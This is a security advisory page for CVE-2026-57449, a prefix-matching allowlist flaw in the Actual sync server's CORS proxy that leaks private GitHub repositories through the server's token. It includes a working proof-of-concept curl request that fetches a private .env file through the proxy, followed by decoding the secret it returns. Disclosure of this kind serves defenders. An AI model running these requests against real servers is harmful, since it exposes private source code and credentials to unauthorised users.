CVE-2026-57449 — @actual-app/sync-server
CVE-2026-57449 is a Information Exposure vulnerability in @actual-app/sync-server. A fix is available for @actual-app/sync-server — see the affected versions and patch details below.
Actual Sync Server: CORS Proxy GitHub API Allowlist Prefix Bypass Leaks Private Repositories Through the Server GitHub Token
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-57449.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
@actual-app/sync-serverReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Actual Sync Server's CORS proxy is intended to let authenticated users fetch resources only from repositories listed in the official plugin allowlist. When ACTUAL_GITHUB_TOKEN is configured, the proxy automatically attaches the server's GitHub token to GitHub requests.
The GitHub API allowlist check uses a raw startsWith() prefix test for /repos/{owner}/{repo} without requiring a path boundary after the repository name. If an allowlisted public plugin repository is https://github.com/acme/plugin, the proxy also accepts GitHub API URLs such as:
https://api.github.com/repos/acme/plugin-private/contents/.env
https://api.github.com/repos/acme/plugin-secrets/actions/secrets
https://api.github.com/repos/acme/plugin-internal/releases
Those URLs are outside the allowlisted repository but still pass because their API path starts with /repos/acme/plugin. The proxy then forwards the request with the server's ACTUAL_GITHUB_TOKEN, allowing any authenticated Actual user to read private GitHub resources reachable by that token.
Affected Endpoint
GET /cors-proxy?url=...
This endpoint is mounted only when:
if (config.get('corsProxy.enabled')) {
app.use('/cors-proxy', corsApp.handlers);
}
Source: packages/sync-server/src/app.ts:68-70
Details
The CORS proxy is disabled by default but can be enabled through ACTUAL_CORS_PROXY_ENABLED. The GitHub token is configured through ACTUAL_GITHUB_TOKEN:
github: {
token: {
doc: 'GitHub Personal Access Token for API authentication.',
format: String,
default: '',
env: 'ACTUAL_GITHUB_TOKEN',
},
},
corsProxy: {
enabled: {
doc: 'Enable the CORS proxy endpoint.',
format: Boolean,
default: false,
env: 'ACTUAL_CORS_PROXY_ENABLED',
},
},
Source: packages/sync-server/src/load-config.js:280-296
The proxy fetches the plugin allowlist and stores repository URLs:
const response = await fetch(
'https://raw.githubusercontent.com/actualbudget/plugin-store/refs/heads/main/plugins.json',
);
...
const plugins = await response.json();
allowlistedRepos = plugins.map(plugin => plugin.url);
Source: packages/sync-server/src/app-cors-proxy.js:43-50
The GitHub API check accepts any path that starts with /repos/${repoOwner}/${repoName}:
for (const repoUrl of allowlistedRepos) {
const { pathname } = new URL(repoUrl);
const [, repoOwner, repoName] = pathname.split('/');
if (
targetUrl === repoUrl ||
targetUrl.startsWith(repoUrl + '/') ||
(hostname === 'api.github.com' &&
url.pathname.startsWith(`/repos/${repoOwner}/${repoName}`)) ||
...
) {
return true;
}
}
Source: packages/sync-server/src/app-cors-proxy.js:84-99
For api.github.com, there is no delimiter after repoName. This means an allowlisted repo named plugin authorizes API requests for plugin-private, plugin-secrets, plugin-internal, and any other repository under the same owner whose name starts with plugin.
After this incorrect allowlist decision, the proxy attaches the server's GitHub token:
const githubToken = config.get('github.token');
if (
githubToken &&
(url.hostname === 'api.github.com' ||
url.hostname === 'raw.githubusercontent.com' ||
(url.hostname === 'github.com' && url.pathname.includes('/releases/')))
) {
requestHeaders['Authorization'] = `Bearer ${githubToken}`;
requestHeaders['User-Agent'] = 'Actual-Budget-Plugin-System';
}
Source: packages/sync-server/src/app-cors-proxy.js:192-201
Therefore the vulnerable flow is:
- A public plugin repository is allowlisted, for example
https://github.com/acme/plugin. - The same owner has a private repository with a prefix-matching name, for example
acme/plugin-private. - The Actual server has
ACTUAL_CORS_PROXY_ENABLED=true. - The Actual server has
ACTUAL_GITHUB_TOKENwith access toacme/plugin-private. - Any authenticated Actual user calls:
/cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env
isUrlAllowed()returns true because/repos/acme/plugin-private/...starts with/repos/acme/plugin.- The proxy sends the request to GitHub with the server token.
- The response is returned to the low-privileged Actual user.
PoC
Preconditions
ACTUAL_CORS_PROXY_ENABLED=true.ACTUAL_GITHUB_TOKENis configured and can read a private repo.- The official plugin allowlist contains a public repo whose owner and repo name are a prefix of the private target repo.
- The attacker has any valid Actual session token.
Example:
- Allowlisted public repo:
https://github.com/acme/plugin - Private target repo:
https://github.com/acme/plugin-private - Private file:
.env
Manual Reproduction
Step 1: Request a private repo file through the Actual CORS proxy:
curl -s "http://TARGET_HOST:5006/cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env" \
-H "X-Actual-Token: LOW_PRIVILEGED_ACTUAL_SESSION"
Vulnerable result:
{
"name": ".env",
"path": ".env",
"encoding": "base64",
"content": "UFJPRF9EQl9QQVNTV09SRD0uLi4="
}
Step 2: Decode the returned content field:
echo "UFJPRF9EQl9QQVNTV09SRD0uLi4=" | base64 -d
Example decoded output:
PROD_DB_PASSWORD=...
Python PoC
Attached separately as poc_actual_cors_proxy_github_prefix_bypass.py.
The PoC does not need the GitHub token. It uses the target Actual server as the oracle: if the server token can access the prefix-matched private repository, GitHub's API response is returned to the low-privileged Actual user.
Impact
- Any authenticated Actual user can use the server's GitHub token against prefix-matched repositories outside the plugin allowlist.
- Private source code, repository metadata, release data, deployment files, and accidentally committed secrets can be exposed.
- If the token has broad organization or user repository read permissions, a public allowlisted plugin repo can become a stepping stone to multiple private repos sharing the same name prefix.
- Exposed repository secrets or deployment material may enable follow-on compromise of production infrastructure or supply-chain release assets.
Recommended Remediation
- Parse and compare GitHub API repository path segments exactly.
- Replace:
url.pathname.startsWith(`/repos/${repoOwner}/${repoName}`)
with an exact boundary-aware check:
url.pathname === `/repos/${repoOwner}/${repoName}` ||
url.pathname.startsWith(`/repos/${repoOwner}/${repoName}/`)
- Apply the same boundary discipline to every allowlist branch.
- Add regression tests showing that an allowlisted
owner/plugindoes not authorizeowner/plugin-private. - Consider never attaching
ACTUAL_GITHUB_TOKENfor user-driven proxy requests unless the requested repo exactly matches an allowlisted repository.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @actual-app/sync-server | all versions | 26.7.0npm install @actual-app/sync-server@26.7.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @actual-app/sync-server, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @actual-app/sync-server to 26.7.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-57449 is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
Frequently Asked Questions
Is CVE-2026-57449 in your dependencies?
Find it across npm, including transitive dependencies.